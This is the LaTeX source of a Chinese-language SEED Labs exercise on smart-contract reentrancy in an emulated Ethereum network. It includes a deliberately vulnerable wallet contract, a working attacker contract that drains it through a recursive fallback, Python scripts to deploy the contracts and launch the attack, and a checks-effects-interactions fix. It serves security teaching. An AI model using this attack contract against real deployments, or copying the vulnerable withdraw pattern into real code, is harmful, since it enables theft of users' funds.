```tex
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% Copyright by Wenliang Du.                                          %%
%% This work is licensed under the Creative Commons                   %%
%% Attribution-NonCommercial-ShareAlike 4.0 International License.    %%
%% To view a copy of this license, visit                              %%
%% http://creativecommons.org/licenses/by-nc-sa/4.0/.                 %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}
\input{\commonfolder/solidity-highlighting.tex}
\hypersetup{%
    pdfborder = {0 0 0}
}

\lhead{\bfseries SEED Labs -- Reentrancy Attack Lab}


\newcommand{\pointupright}[1]{\ding{218} \textbf{\texttt{#1}}}

\usepackage{hyperref}


\begin{document}


\begin{center}
{\LARGE 智能合约重入攻击实验}
\end{center}

\seedlabcopyright{2022}



% *******************************************
% SECTION
% *******************************************
\section{概览} 

DAO（去中心化自治组织）攻击是早期以太坊开发中发生的重大黑客事件之一。当时，该合约持有超过1.5亿美元的资金。重入攻击在此次攻击中起到了关键作用，最终导致了硬分叉并创建了以太坊经典（ETC）。到2022年，重入攻击仍然是以太坊常见的攻击手段。

本实验旨在让学生亲身体验重入攻击的过程。学生们将获得两个智能合约：一个易受攻击的合约（受害合约）和一个攻击合约。学生将通过整个攻击过程来了解这种攻击是如何运作的，并亲眼看到这样的攻击如何能够窃取受害合约内的所有资金。该攻击将在SEED模拟器上进行，其中包含部署在内部的以太坊区块链。本实验涵盖的主题如下：

\begin{itemize}[noitemsep]
    \item 重入攻击
    \item 区块链和智能合约
    \item 与区块链交互
    \item SEED互联网模拟器
\end{itemize}

\paragraph{实验室环境。}
\seedenvironmentB
\nodependency
我们推荐以下虚拟机设置：至少两个CPU核心和至少4GB的RAM。

\paragraph{讲师注意事项。}
重入攻击是智能合约的经典攻击方式。虽然本实验将涵盖一些基础内容，但并非旨在对这种攻击进行详细教程。
建议讲师在分配给学生之前，在课堂上覆盖此攻击。学生也可以从在线资源中阅读更多关于这种攻击的信息 \cite{MasteringEthereum}。

% *******************************************
% SECTION
% *******************************************
\section{实验室设置和SEED互联网模拟器}
\label{sec:labsetup}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{模拟器}

本实验将在SEED互联网模拟器（以下简称“模拟器”）中进行。如果这是您第一次使用模拟器，请务必阅读此部分。
我们建议讲师提供一个实验室课程，帮助学生熟悉模拟器。

\input{../common-files/emulator.tex}

\paragraph{EtherView。}
\input{../common-files/etherview.tex}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{客户端代码} 

有许多方法可以与以太坊网络交互，包括使用现有的工具如Remix、MetaMask和Hardhat。
在本实验中，我们选择编写自己的Python程序，该程序使用流行的\texttt{web3.py}库。为了方便起见，我们编写了一些封装函数，并将它们包含在\texttt{SEEDWeb3.py}文件中。实验室中的大多数程序都将导入此库。所有提供的程序都可以在\texttt{Labsetup}文件夹中找到。

\texttt{web3.py}库尚未安装在SEED Ubuntu 20.04虚拟机上。学生需要安装该库。
我们需要安装一个旧版本的web3库（版本5.31.1），否则我们的代码将无法运行，请参见以下命令：

\begin{lstlisting}
$ pip3 install web3==5.31.1
\end{lstlisting}





% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{连接到区块链} 
\label{sec:sub:ports}

这些服务器从外部不可直接访问，因此我们配置了以下端口转发，以通过本地主机上的一个端口（即虚拟机）访问它们。以下是我们的设置总结。

\begin{lstlisting}
localhost:8545 --> <IP 1>:8545 : 攻击者 (eth0)
localhost:8546 --> <IP 2>:8545 : 受害者   (eth1)
localhost:8547 --> <IP 3>:8545 : 用户 1   (eth2)
localhost:8548 --> <IP 4>:8545 : 用户 2   (eth3)
\end{lstlisting}

为了在区块链上进行活动，我们需要通过一个区块节点来做。连接到这样的节点通常需要使用HTTP或WebSocket。在我们的模拟器中，我们已经在所有以太坊节点启用了HTTP服务器。
要连接到节点，只需提供其IP地址和端口号8545即可。
以下示例连接到了其中一个节点。

\begin{lstlisting}
# 连接到一个geth节点
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')
\end{lstlisting}



 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{账户} 

要向区块链发送交易，我们需要一个包含账户（包括公钥和私钥）的钱包，并且这些账户必须持有足够的资金来支付交易所需的gas费用。在每个以太坊节点上我们已经创建了一些带有余额的账户。我们将使用这些账户进行交易。连接到一个以太坊节点后，我们可以通过\texttt{web3.eth.accounts[]}数组访问其所有账户。以下示例选择使用 \texttt{web3.eth.accounts[1]}。模拟器中的所有账户（及其私钥）都已加密，密码是 \texttt{admin}。要使用一个账户，我们首先需要使用密码对其进行解锁。

\begin{lstlisting}
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
\end{lstlisting}

我们也需要获取帐户的余额。我们已经包含了一个Python程序来打印出连接到的节点上所有账户的余额。该程序名为 \texttt{get_balance.py}。它基本上调用了\texttt{web3.py}库中的一个API。
如下所示：

\begin{lstlisting}
web3.eth.get_balance(Web3.toChecksumAddress(address))
\end{lstlisting}
 




% *******************************************
% SECTION
% *******************************************
\section{任务1：熟悉受害智能合约}

以下代码是我们将要攻击的易受攻击的智能合约。它是一个非常简单的合约，充当用户的钱包：用户可以向该合约存入任意数量的以太币；他们也可以稍后取出他们的钱。
代码可以从\path{Labsetup/contract}文件夹中找到。

\begin{lstlisting}[language=Solidity, 
      caption={易受攻击的智能合约 (\texttt{ReentrancyVictim.sol})}]
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;

contract ReentrancyVictim {
    mapping (address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;
    }

    function getBalance(address _addr) public view returns (uint) {
        return balances[_addr];
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
\end{lstlisting}

接下来，我们将解释每个函数的目的以及合约的工作原理。这并不是智能合约编程教程。学生应该已经对智能合约编程有一些基本知识。

\begin{itemize}
\item \texttt{deposit()}：此函数由希望向此智能合约存入以太币的用户调用。当此函数被调用时，\texttt{msg.sender}包含发送方帐户地址的值，而 \texttt{msg.value} 包含以太币的数量。
  它会更新一个名为 \texttt{balances} 的数据结构，这是由智能合约维护的内部账簿。

  因为该函数具有\texttt{payable}修饰符，它可以发送和接收以太币。当此函数收到以太币时，该合约账户的余额将自动更新。
  这个余额表示这个智能合约帐户持有的以太币数量；它是整个区块链账簿中的平衡记录。

\item \texttt{getBalance()}：
  它接受一个地址参数并返回在智能合约中该地址持有的以太币数。

\item \texttt{getContractBalance()}： 
  此函数返回智能合约的总余额。同样，这个余额是由区块链维护的，
  所以我们可以通过从区块链直接获取而不需要调用此函数。
  如果合约正确地更新了其内部账簿，则总余额应是该内部账簿中各个余额的总和。

\item \texttt{withdraw()}： 
  此函数接受一个参数，即调用者希望取出的以太币数量。它依赖于谁调用了它，因为实现中使用了 \texttt{msg.sender}。
  调用此函数的人不能提取比他们在智能合约中更多的以太币。函数的第一行负责检查调用者的余额。如果尝试提取超过其拥有的金额，则程序将停止。如果检查通过，则调用者将会获得指定数量的以太币。
  使用 \texttt{call} 的低级函数发送以太币，并更新内部账簿。区块链也会自动更新其账簿，因为由于提款此智能合约帐户持有的以太币减少了。

  该函数有一个重入漏洞，这是我们将在攻击中利用的关键点。我们稍后将解释攻击是如何工作的。
\end{itemize}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.a：编译合约} 

在较新的 Solidity 版本中已经实现了对策措施，因此我们将使用版本 0.6.8 来编译代码。该编译器（\texttt{solc-0.6.8}）可以在 \texttt{contract} 文件夹中找到。
我们可以使用以下命令来编译合约。

\begin{lstlisting}
solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
\end{lstlisting}

将生成两个文件：\texttt{bin} 文件和 \texttt{abi} 文件。 
\texttt{bin} 文件包含合约的字节码，在部署合约后，该字节码将被存储到区块链中。
ABI 是 Application Binary Interface 的缩写。\texttt{abi} 文件包含了智能合约的 API 信息。当我们需要与合约进行交互时，
我们需要知道函数名称、参数和返回值。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.b：部署受害智能合约}

在本任务中，我们将把受害者合约部署到区块链上。有许多方法可以做到这一点。
在本实验中，我们将使用我们自己的 Python 程序来进行部署。
提供的程序位于 \path{Labsetup/victim} 文件夹内。

\begin{lstlisting}[language=python, 
    caption={部署受害智能合约 (\texttt{deploy_victim_contract.py})}]
abi_file = "../contract/ReentrancyVictim.abi"
bin_file = "../contract/ReentrancyVictim.bin"

# 连接到一个 geth 节点
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')

# 我们使用 web3.eth.accounts[1] 作为发送者，因为它有更多的以太币
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
addr = SEEDWeb3.deploy_contract(web3, sender_account,
                                abi_file, bin_file, None) 
print("受害智能合约: {}".format(addr))
with open("contract_address_victim.txt", "w") as fd:
    fd.write(addr)
\end{lstlisting}

实际编译代码位于 \texttt{SEEDWeb3} 库中（行调用在 Line~\lineone）。 
如以下代码片段所示，它基本上是从 ABI 和字节码创建一个 \texttt{Contract} 类，并且随后创建了一个部署合约的交易。

\begin{lstlisting}
contract = web3.eth.contract(abi=abi, bytecode=bytecode)
contract.constructor(...).transact({ 'from': sender_account })
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.c：与受害智能合约交互} 

部署完合约后，我们将从一些用户的帐户向该合约存入资金（之后攻击者将窃取所有资金）。代码位于 \texttt{fund_victim_contract.py} 中。
在代码中，变量 \texttt{victim_addr} 在 Line~\lineone 保持了合约地址。学生必须用实际的合同地址替换这个值，这是从部署步骤获得的。

我们选择从以太坊节点向智能合约存入资金。在这个例子中，我们使用节点 \texttt{10.151.0.71}；学生可以自由使用其他节点。

\begin{lstlisting}[language=python,
        caption={存入资金 (\texttt{fund_victim_contract.py})}]
abi_file    = "../contract/ReentrancyVictim.abi"
victim_addr = '0x2c46e14f433E36F17d5D9b1cd958eF9468A90051'  (*@\lineone@*) 

# 连接到我们的 geth 节点，选择发送者的账户
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

# 向受害智能合约存入以太币
# 攻击者之后将在攻击中窃取它们
contract_abi  = SEEDWeb3.getFileContent(abi_file)
amount = 10  # 单位是 ether
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash  = contract.functions.deposit().transact({
                    'from':  sender_account,
                    'value': Web3.toWei(amount, 'ether')
                })
print("交易发送，等待区块 ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("交易收据: {}".format(tx_receipt))
\end{lstlisting}

同样地，我们也可以从合约中取回我们的资金。以下代码片段提取 1 个以太币，并然后打印出发送者的余额。

\begin{lstlisting}[language=python,
        caption={取款 (\texttt{withdraw_from_victim_contract.py})}]
amount = 1
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash  = contract.functions.withdraw(Web3.toWei(amount, 'ether')).transact({
                    'from':  sender_account
                })
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

# 通过本地调用打印出我的账户余额
myBalance = contract.functions.getBalance(sender_account).call()
print("我的余额 {}: {}".format(sender_account, myBalance))
\end{lstlisting}

\paragraph{实验室任务：} 
请向受害者智能合约存入30个以太币，然后从其中取款5个。请显示合同的余额。

% *******************************************
% SECTION
% *******************************************
\section{任务2：攻击智能合约} 

为了对受害智能合约发动重入攻击，攻击者需要部署一个攻击智能合约。实验室中已经提供了攻击合约的例子，并且代码如下所示。

\begin{lstlisting}[language=Solidity, 
    caption = 攻击智能合约 (\texttt{ReentrancyAttacker.sol})]
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;

import "./ReentrancyVictim.sol";

contract ReentrancyAttacker {
    ReentrancyVictim public victim;
    address payable _owner;
    
    constructor(address payable _addr) public {
        victim = ReentrancyVictim(_addr); 
        _owner = payable(msg.sender);
    }
    
    fallback() external payable {
        if(address(victim).balance >= 1 ether) {
            victim.withdraw(1 ether);
        }
    }
    
    function attack() external payable {
        require(msg.value >= 1 ether, "You need to send one ether 
	                               when attacking");
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
    } 
    
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
 
    function cashOut(address payable _addr) external payable {
        require(msg.sender == _owner);
        _addr.transfer(address(this).balance);
    }
}
\end{lstlisting}

这个合约最重要的函数是 \texttt{attack()} 和 \texttt{fallback()}。我们将解释如何使用此合约从受害智能合约窃取所有资金。

部署完合约后，攻击者调用 \texttt{attack()} 函数并发送至少1个以太币到该合约中。此函数将通过调用其 \texttt{deposit()} 函数向受害者智能合约存入一个以太币。
在存入钱之后，攻击合约立即从受害智能合约取出一个以太币。这就是触发攻击的地方。让我们看看当调用 \texttt{withdraw()} 函数时会发生什么。我们列出了受害智能合约的 \texttt{withdraw()} 函数代码。

\begin{lstlisting}[language=Solidity]
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);            (*@\lineone@*) 

    (bool sent, ) = msg.sender.call{value: _amount}(""); (*@\linetwo@*) 
    ...

    balances[msg.sender] -= _amount;                     (*@\linethree@*) 
}
\end{lstlisting}

在 Line~\lineone 检查发送方 (\texttt{msg.sender}) 的余额是否足够（如果不够，则调用将失败）。这里，\texttt{msg.sender} 包含了正在调用合约的地址。由于受害智能合约是被攻击智能合约调用的，因此地址是攻击智能合约的地址。

通过余额检查后，该合同将使用 \texttt{msg.sender.call} 发送指定数量（Line~\linetwo）的钱给发送者，即攻击智能合约。这正是问题所在。 

一个智能合约通常通过函数调用来接收资金（此函数必须标记为 \texttt{payable}），但如果通过另一个合约中的本地 \texttt{call()} 函数接收到资金，则会触发默认的名为 \texttt{fallback()} 的函数。以下是在攻击智能合约中定义的 \texttt{fallback()} 函数。

\begin{lstlisting}[language=Solidity]
fallback() external payable {
    if(address(victim).balance >= 1 ether) {  (*@\linefour@*) 
        victim.withdraw(1 ether);
    } 
}
\end{lstlisting}

此函数再次调用 \texttt{withdraw()} 函数。因为受害智能合约的余额尚未更新（在 Line~\linethree），所以在 Line~\lineone 的余额检查将通过，尽管攻击者的余额已经是零了。这将在攻击智能合约中触发 \texttt{fallback()} 函数，进而再次调用受害智能合约的 \texttt{withdraw()} 函数。这一过程会重复直到受害智能合约的余额低于1个以太币（Line~\linefour）。以下是函数调用序列。

\begin{lstlisting}
withdraw --> fallback --> withdraw --> fallback --> withdraw ...
\end{lstlisting}

\paragraph{任务：} 在这个任务中，你的任务是部署攻击智能合约。所提供的代码与用于部署受害智能合约的代码相似。需要注意的是，攻击智能合约必须知道受害者智能合约的地址。
因此学生需要修改 \texttt{deploy_attack_contract.py} 代码以提供正确的受害者智能合约地址。

% *******************************************
% SECTION
% *******************************************
\section{任务3：发动重入攻击} 

要发动攻击，我们只需要调用攻击智能合约中的 \texttt{attack()} 函数。在调用过程中需要发送1个以太币给该合约。攻击智能合约将向受害者智能合约存入这笔钱，否则它无法从受害者智能合约中取款。
所提供的代码（如下所示）位于实验室设置中，但其中的攻击智能合约地址需要进行修改。

\begin{lstlisting}[language=Python, 
   caption = 发动攻击所需的代码 (\texttt{deploy_attack_contract.py})]
abi_file      = "../contract/ReentrancyAttacker.abi"
attacker_addr = '请在这里输入正确的地址'  

# 开始发动攻击
contract_abi  = SEEDWeb3.getFileContent(abi_file)
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash  = contract.functions.attack().transact({
                    'from':  sender_account,
                    'value': Web3.toWei('1', 'ether')
                })
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("交易收据: {}".format(tx_receipt))
\end{lstlisting}

请演示你如何可以发动攻击以窃取受害者智能合约中的所有资金。你可以使用 \texttt{get_balance.py} 脚本打印任何帐户的余额。在窃取了所有资金后，你可以使用 \texttt{cashout.py} 将这些钱从攻击智能合约转移到攻击者拥有的另一个账户中。

% *******************************************
% SECTION
% *******************************************
\section{任务4：对策措施}

有许多常见的技术可以帮助避免潜在的重入漏洞。
阅读 \cite{MasteringEthereum} 以获取详细信息。一种常见方法是确保所有更改状态变量的逻辑在发送以太币出合约之前完成（或任何外部调用之后）。在受害者智能合约中，余额更新发生在回调之后，
因此如果回调没有返回，则不会更新余额。智能合约程序中的良好实践是在执行外部调用到未知地址的代码块中将其作为最后一步操作。这被称为 \texttt{checks-effects-interactions} 模式。

使用此原理，我们可以轻松修复问题。请参见以下示例，请修改受害者智能合约、重复攻击并报告你的观察结果。

\begin{lstlisting}[language=Solidity] 
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);

    balances[msg.sender] -= _amount;

    (bool sent, ) = msg.sender.call{value: _amount}("");
    require(sent, "Failed to send Ether");
}
\end{lstlisting}

\paragraph{注意：} 看起来，最新的 Solidity 版本已经内置了防重入攻击的保护措施。然而，在文档中并未提供足够的细节。从 Ethereum GitHub 仓库 \url{https://github.com/ethereum/solidity/issues/12996} 找到了一个讨论。
如果你熟悉此编译器功能，请联系我们，我们可以基于该保护设置一项实验任务。

% *******************************************
% SECTION
% *******************************************
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


% *******************************************
% SECTION
% *******************************************
\section*{致谢}

本实验是在 Syracuse University 电气工程与计算机科学系研究生 Rawi Sader 的帮助下开发的。
SEED 项目部分由美国国家科学基金会和雪城大学资助。

% *******************************************
% SECTION
% *******************************************
\begin{thebibliography}{90}

\bibitem{DAO}
Phil Daian, ``Analysis of the DAO exploit'', 2016,
\url{https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/}


\bibitem{MasteringEthereum}
Andreas M. Antonopoulos and Gavin Wood, 
``Mastering Ethereum'', 2018,
\url{https://github.com/ethereumbook/ethereumbook}


\bibitem{collection}
GitHub Contributor, 
``A Historical Collection of Reentrancy Attacks'', 2022,
\url{https://github.com/pcaversaccio/reentrancy-attacks}

\end{thebibliography}

\end{document}
```